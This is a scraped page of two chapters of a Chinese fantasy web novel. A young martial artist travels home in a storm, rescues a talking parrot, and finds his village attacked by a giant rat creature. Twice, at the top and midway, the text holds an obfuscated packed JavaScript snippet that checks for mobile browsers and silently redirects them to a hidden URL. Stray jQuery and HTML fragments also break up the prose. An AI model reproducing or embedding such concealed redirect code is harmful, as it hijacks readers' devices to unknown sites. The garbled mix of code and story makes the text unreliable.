;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784794|155044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娱自乐。或许是怕吵到贺豆豆,他们玩了没一会儿也就无趣地散了场。 贺豆豆仰面躺在冷硬的木料上,货仓是看不到外面。在下来之前贺豆豆就感觉风中夹带了太多的水气,今夜恐怕是要下雨了。 睡着前贺豆豆下意识摸了摸自己的包裹,等他摸到了放在最里面的东西,这才安下心来。 这东西说贵重也不贵重,说有心意倒也有十足的心意。那是一盏被包裹严实的八角走马灯,以紫檀木做骨架,辅以绢纱碎玉珠饰。 虽然用料复杂,但也不算是多么贵重的东西,在富贵人家眼中顶多是个新奇点的节庆玩意儿罢了。 ——听说小娘子们都喜欢这样的宫灯,小郎君你买这个准没错! 那个卖灯的老头是这么说的,贺豆豆回过神来的时候,已经付了钱拿了灯。 不过贺豆豆第一眼看到这盏灯的时候,就想要买下来送给姜慕星。今年是他第一次没有陪她过生日,那么礼物肯定要选一个特别点的才行。 据说走马灯是要画上图案,点燃蜡烛后才会转动,转动后图案上的图像会你追我赶,看起来就像活了一样。 贺豆豆这盏灯上还没有绘制图案,以他的绘画造诣来说,要画出栩栩如生的图案轻而易举。不过他想把这个留在后面,等姜慕星收下这份礼物后,他再为她画上喜欢的东西。 “也不知道小小喜欢什么?”贺豆豆不仅有些发愁,“糟了呀,我好像……还真不知道她喜欢什么来着。” 贺豆豆猛然坐起身,头咚地一下撞在了隔板上,把他撞得眼前一阵晕眩。还好声音不大,没有惊动旁人。贺豆豆有些挫败得叹了口气,躺下来揉揉发疼的额角。 “算了,等回去再问,这也不是什么丢人的事,就算是小小,她也不见得会记得我喜欢什么东西吧……真希望早点回去,我实在是想他们了。” 货船在隆隆的惊雷和泼洒而下的大雨伴随下,划开在夜下呈现出漆黑一片的河水,朝着永泉府的方向全速行驶而去。 谁也没有注意到,一只小小的鸟穿过雨幕,轻盈地落在桅杆上。它用喙梳理自己的羽毛,眼睛则盯着船舱的方向。 24. 第 24 章 一夜雨疏风骤,但总归还是没耽搁什么直接抵达了城东码头。 贺豆豆在船舱里用油纸包好东西放在背篓里,披上蓑衣戴上斗笠便踏出船舱。 “雨下的这样大。”刘元亮咂舌,“若是再晚一点恐怕是要涨水。雨太大了,不若休息一晚明日雨停再行出发?” 贺豆豆站在码头上看着码头工喊着号子往下来搬运货物,摇了摇头:“刘大叔,我心里有些闷得慌,左思右想还是早点回去为好。” “这,也好。”经过这么些天的相处,刘元亮知道贺豆豆其实是个说一不二的性子,做出的决定很少有更改的余地。“那你路上小心,反正过两天还会再来一趟城里。” 贺豆豆抬手擦了擦脸上滑落的水珠,即便此刻是正午时分,昏暗的天色下他那双浅棕色的眸子也熠熠发亮:“嗯,那刘大叔我就先走了。改日我和小小一起过来,你也早些回去同三娘子团聚吧。” 刘元亮笑着挥挥手,目送贺豆豆连跑带跳窜了出去。 他确实身手十分了得,即便是满地水洼,贺豆豆的双脚也没有踩中任何一个水坑。 从永泉府返回双柳河村,需要乘坐通往乡镇的马车。虽然马车需要等一等,但总体来说肯定是比走路要快不少的。 贺豆豆这一趟还是赚了点小钱,他思乡心切并不吝啬这点儿路费。 他摸出几个铜板递给穿着蓑衣的车夫,自己上车找了个位置坐下。 雨天生意确实要好的多,不多时马车上便坐满了要出城的人。 看穿着打扮也都是乡下进城来的,他们和贺豆豆的想法一致,宁愿在路费上多花点钱也不愿在城里住一宿。 哒哒的马蹄声伴随着马鞭声响了起来,马车在滂沱大雨中摇摇晃晃地朝前行驶。 贺豆豆坐在最里面,头靠着雨棚闭目养神,耳朵却竖起来在听车厢内的大婶大叔们聊天。 “听说了吗,白三妮他们那边啊,地龙翻身了。”一位大婶压低嗓门,语气中略带三分兴奋和一丝担忧,更多的是对自己消息灵通的自得。“哎唷,可吓人了。” 另一位大婶立刻接话:“可不是嘛,他们村之前不都好好的,什么事都没有过。这次地龙翻身,咋个就跑他们那边去了?” “一定是平时啊,少祭拜土地公,人家才不保佑咧。” “那个是叫拜城隍。”一个粗嗓门的大叔插话,“他们村距离你们村不远吧,得快些回去看看有没有事。” “今天还下了这么大的雨呢!遭了地龙,房子地基都要被水泡坏了!” 地龙翻身? 贺豆豆微微掀开一角眼皮,瞟了一眼正在七嘴八舌、热闹议论的大叔大婶们。 他回想了一下,最近一次感觉到疑似地龙翻身,还是在埋葬了王智勇那会儿。 不过那次与其说是地龙翻身,倒不如说只是轻微的地动。阳夫子之前说过,如果真出现地龙翻身,前期一定会有所征兆。 听到车厢里他们讨论热烈,话题内容也逐渐离谱,说什么的都有。贺豆豆不由自主产生一股难言的憋闷,他将这些归咎于没休息好,可能有些晕马车。 不过再怎么议论,马车上能闲聊的话题也就这么多。总算聊完了地龙翻身,贺豆豆感觉耳畔总算是清静了许多。 结果还没等他安静一会儿,车厢里又开始聊下一个话题,这次的话题更加让他无语又烦闷。 因为他们在聊灭鼠。 几个大叔在聊米地主家的佃户们糟了鼠患,请了道长去灭鼠。说那道长好生厉害,一个人竟将整个村的老鼠都给灭了个干净;又说那道长膀大腰圆,面若红枣,一把美髯好不潇洒。 “……到底是道长还是关公啊。”贺豆豆听得心中暗暗嗤笑。“要说毛脸恶相长得像钟馗也就罢了,怎么会长得像关公,怕不是歌舞戏看多了。” 但老鼠……这东西这几个月来出现的频率是不是有些太高了? 贺豆豆忍不住皱眉,他只盼现在能快些回去,把这些烦人的噪音全都甩开。 …… “这可如何是好。” 贺豆豆无语地从马车上下来,避开水坑踩在实路上。这一路上本来行驶的好好的,没成想车上一位大婶突发疾病,浑身发冷不说还抽抽个不停。 车夫吓了一跳,幸好车上有这发病大婶同村的姊妹一起,和全车人商量过后都同意先送大婶去看大夫。 问到贺豆豆这里的时候,贺豆豆说:“治病救人要紧,现在雨小点了,我可以自己走回去。” “小郎君。”车夫看了看丝毫未减小的雨势劝他,“不若坐在车上,不会耽误太久的。” “夜里无光,你一个人如何行路?” 贺豆豆抬手抹了一把脸上的雨水:“可是我家中还有老父妹子在等着,着实难捱,容我先走一步。告辞。” 他随意抱拳,然后大踏步朝着双柳河村的方向赶去。 车夫有心叫住他,再劝两句,却见那灰衣小郎君足下一点,竟跃起腾空落于梢头,几个起伏不见踪迹。 原来是绿林好手,车夫这才放下心来赶着马车疾驰而去。 要用轻功跑完全程,把贺豆豆累死都不可能。但在天彻底黑透之前多赶一些路,轻功还是比在地上跑来的更容易些。 “多亏夫子在教学的时候,我选了习武这条路。”贺豆豆心中十分自得,“甭管是术法还是武学,总归身强力壮才是正途。我淋点儿雨没什么要紧,小小的身体可不如我。” 少年英姿飒爽,虽背着东西还穿着不甚轻便的蓑衣斗笠,但依然在林间枝头辗转自如。 足下每一个落脚点,他甚至不需思考,只管踩上就行。 一时间,天地之间似乎只剩下贺豆豆一个人,除了穿林打叶的雨声、滴答作响的水声之外,他什么声音都听不到了。 人闲桂花落,夜静春山空。① 这种突如其来的静谧,让贺豆豆一瞬间有些微的茫然。 他落在一根手腕粗细的树枝上,湿滑的枝条上的绿苔也没有让他脚下打滑,贺豆豆扶着树干深深地、缓缓地呼出一口气。 然后又深深地吸进一口气,如此重复了几次,直到他鼻腔中闻到的都是雨中的清爽气息为止。 “啾啾……” 深呼吸后的贺豆豆刚触摸到一点儿玄妙之气,就听到了漫天雨声中的第二种声响。 那是鸟鸣,迫切需要被帮助的那种啾鸣声。 贺豆豆最皮的时候,是和姜慕星在山上田里抓了好几天的麻雀。 他们也不是拿来吃,只是刚刚学会了几招术法和轻功身法,迫不及待想要找个东西练手。 于是那段时间山里的麻雀被他们俩抓了放放了又抓,以至于这些小家伙们见到他俩就飞,还悬在半空给他们俩拉了很多鸟屎。 “这声音不像是麻雀。”贺豆豆四处张望了一下,很快锁定了位置。“颜色倒挺好看,什么鸟?” 只见一只小小的、翠色羽毛的鸟被卡在了交错的树枝间,这鸟儿想挣脱却被越卡越紧。贺豆豆没见过这种喙是圆圆短短还内勾的胖鸟儿,但这羽色着实令人眼前一亮。 倒不是他喜欢翠色,而是姜慕星喜欢绿色的衣衫。 道童服里那件粉色的本应是她的,拗不过姜慕星当时说红男绿女,贺豆豆才穿了起来。 “这个要是送给小小,她一定会很开心。”贺豆豆伸出手去,一只手小心隆成空心,一只手灵巧地解开交错的树枝。 这翠色鸟儿似乎知晓他在拯救自己,倒也不挣扎,乖乖靠在他的掌心。 等贺豆豆将鸟儿取下后,它还把头抵在手掌里不愿抬起。 “你是什么鸟?”贺豆豆看着不到巴掌大的小家伙自言自语,“怪了,我怎么会和鸟说话。算了,天目应该也看不出是什么种类吧,回去问问夫子。” 结果翠色鸟儿蹭了蹭手心,灵巧地站在贺豆豆的手上,还小心收拢了脚爪怕勾伤了他。 “鹦鹉!鹦鹉!” 贺豆豆被突如其来的人声给吓了一跳,他这才反应过来说话的是手心里这小家伙。 它歪着头看贺豆豆,顺带蹦跶了两下。 “你,你是鹦鹉?”贺豆豆有些不确定,伸手戳了戳毛茸茸的鸟胸脯,摸到了滑溜溜的雨水。“我只听说过,倒是没见过这种鸟呢。真好看,你有名字吗?” “名字!名字!” 小鹦鹉蹦蹦跶跶的,只是重复贺豆豆的话。他嘶了一声挠挠头,起名字这种事他不怎么擅长。但硬要说的话,他倒是有一个很不错的点子。 “白日放歌须纵酒,青春作伴好还乡。”贺豆豆越想越觉得不错,“你就叫时乐吧!”② “时乐!时乐!” 小鹦鹉又亲昵地蹭了蹭贺豆豆,它十分聪明地顺着贺豆豆的袖管蹦跶上去,躲在他斗笠下面避雨。 贺豆豆心情豁然开朗,连带着要赶路回家的隐隐郁气都一扫而空。他休息片刻后,又提气纵身,继续朝前轻功飞掠而去。 不知道是不是因为刚才他在树梢枝头的一番极端的感悟,贺豆豆总觉得自己好像身体变轻了许多。 在他没有注意到的时候,他周围已经萦绕着一圈微不可见的水蓝色光点。 他的玉琼思在无意中被调动了起来,辅佐他在林间不断飞驰前进。 雨下的越来越大,已经到了像倾倒天水的程度。贺豆豆抹了一把脸,从树上轻轻跃下。 他倒不是因为体力不支,而是要往双柳河村去,他就必须得走大路这边。林间虽好,可夜间不免难以判别方向。若是迷了路,非得等到天亮后才能折返。 贺豆豆又擦了擦脸颊,因为太频繁擦脸,他原本就白皙如玉的皮肤都被擦出了些许红痕。长长的睫毛上挂满水珠,贺豆豆万般无奈下不情不愿地捏了法诀。 伸手在斗笠上画了一个避水的符箓,这才将斗笠内不断滴落的水止住。 “真是的。”贺豆豆和姜慕星确实不同,他能不用术法就不用,“这雨就不能小点儿吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787440|155044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他一边抱怨一边踩着官道旁边的草地前进,官道虽然平整可有积水,贺豆豆才不想把鞋子也弄得湿哒哒的。 草上虽然也有水,但鞋子不会被泥沙弄脏。 在某些地方有奇怪讲究的贺豆豆继续赶往双柳河村,但此刻天色已经彻底暗沉了下去。 大雨倾盆下无光无月,他必须点灯才能继续前行。 毕竟他的天目,还没有到夜能视物如白昼的程度。 “只能先借用一下了。”贺豆豆万分不舍,但拿取的动作却丝毫不拖泥带水。“嘿咻,再上个符箓。” 他给自己用符箓的时候百般不情愿,但给要送人的东西上加符箓,那叫一个极为顺手。 一道避水符一道照明符,纵然再大的雨势和风,也不能动摇这盏走马灯一星半点儿。 贺豆豆看着亮起来的走马灯外围一圈开始缓缓转动,他忍不住手指拨弄了一下。他发出一声短促的傻笑后,提着走马灯继续朝前飞奔。 时乐躲在他的肩膀上,小爪子牢牢抓住蓑衣,它靠在贺豆豆的身上已经睡着了。 甚至还发出了小小的鼾声。 贺豆豆没空搭理它,只是闷头闭嘴朝前跑。他越跑越快,越跑身体越感觉轻盈。就好像他腋生双翼,有什么在助他一臂之力。 他心中默默估算,按照这个进度,天亮之前应该就能赶回双柳河村。 到时候一定要把睡着的姜慕星和阳夫子吵醒,让他们都来好生安慰一下自己。 ——说不定小小一时心疼,还会帮我做三天家务呢!到时候我要不要让她帮呢? 全身心沉溺在童稚的念头和归乡思念中的贺豆豆,完全没有把一丝一毫的目光分给前路之外。 否则他早就应该发现,整条官道上除了一个在飞奔的他,剩下的全都是和他同向、如潮水般前行的幽幽磷火。 这些磷火粗略看去会被隐藏在水气之中,但仔细去分辨还是能够看到它们在如墨夜中微微闪耀。 这大片磷火和贺豆豆井水不犯河水,它们不会靠近他,甚至主动避开了一丈远。似乎被贺豆豆触碰到,是极其危险的一件事。 贺豆豆只是跑啊跑啊,脑子里全都是跑快些,更快一些,若是能飞就好了……之类的念头,他身边水蓝色的玉琼思也因此变得更加活跃起来。 有好几个瞬间,贺豆豆其实并没有在奔跑,而是在空中滑翔。只是时间短暂,并没有让他立刻回想起来,依然觉得自己是在跑,而不是在飞。 …… “总算是,是……”贺豆豆大口喘气,他身体摇晃了几下,差点没拿稳走马灯。“回,回村了……” 他不敢立刻站起来,因为如此剧烈的运动,他喉口早就泛起一股压制不住的铁腥。 贺豆豆费力地咽了咽口水,强迫双腿不要打颤,站直了再往里走。 好累好累,贺豆豆脸上再也挂不住笑,只留下满脸疲惫。他现在也不想回家之后撒娇抱怨,他只想擦干身体换一身干爽衣服好好睡觉。 但贺豆豆没走两步,足下的触感就变得不对劲。 他踩了一晚上的草,对于雨中的草是什么脚感早已烂熟于心。正常来说,无论轻重他踩下去都应该是噗叽一声脆响。 结果现在他一脚踩下,发出的则是“咕——叽——”的黏腻闷响。 贺豆豆沉默了一下低下头,在走马灯的光晕下他看到了一团暗红色从脚下溢出,顺着肆意流淌的雨水泥水,混在一起开始变得不规则且深深浅浅。 “……” 贺豆豆抬起脚,他朝前看去。村口歪歪斜斜倒了两个人,是平日里对他和姜慕星都不错的村中大叔。 他们似乎正要往外跑,但却从后面被人偷袭,倒在了地上。 变淡变浅的血色流的满地都是,贺豆豆的心脏狂跳起来。他咬紧牙关直接冲进村子,袖中的桃木剑滑入手中,被他握的死紧。 贺豆豆没有大喊大叫,他不是傻子,当然知道一旦出声就会引起围攻。他灭掉走马灯上的符箓,隐藏身形朝着自家方向赶去。 ——虽然不知道是哪里来的大胆蟊贼,敢在双柳河村动手杀人。 贺豆豆眉头紧锁,眼神一派冷然:“今日定让你们有来无回。” 当赶到家门口时,贺豆豆发现这里并无半点打斗痕迹,门扉也紧闭。 他心中大石终于落地,看来是他关心则乱,阳夫子何许人也,小小的功夫也不逊色于他,这俩在一起怎么会有问题。 既然家人无事,接下来要做的自然是杀了这群强盗。贺豆豆将背篓放下,转身返回村中。 但还没等他走两步,身后就传来一阵极其细微的声响,如果不是格外耳聪目明之人,恐怕会当即中招。 “噹——!” 贺豆豆手中的桃木剑挡下了攻击,但这股冲力很大,竟让他险些没能站稳脚跟。等贺豆豆定眼看去时,眼前偷袭他的却不是预想中的盗匪。 而是,一只直立行走有着凡人表情的,巨大耗子。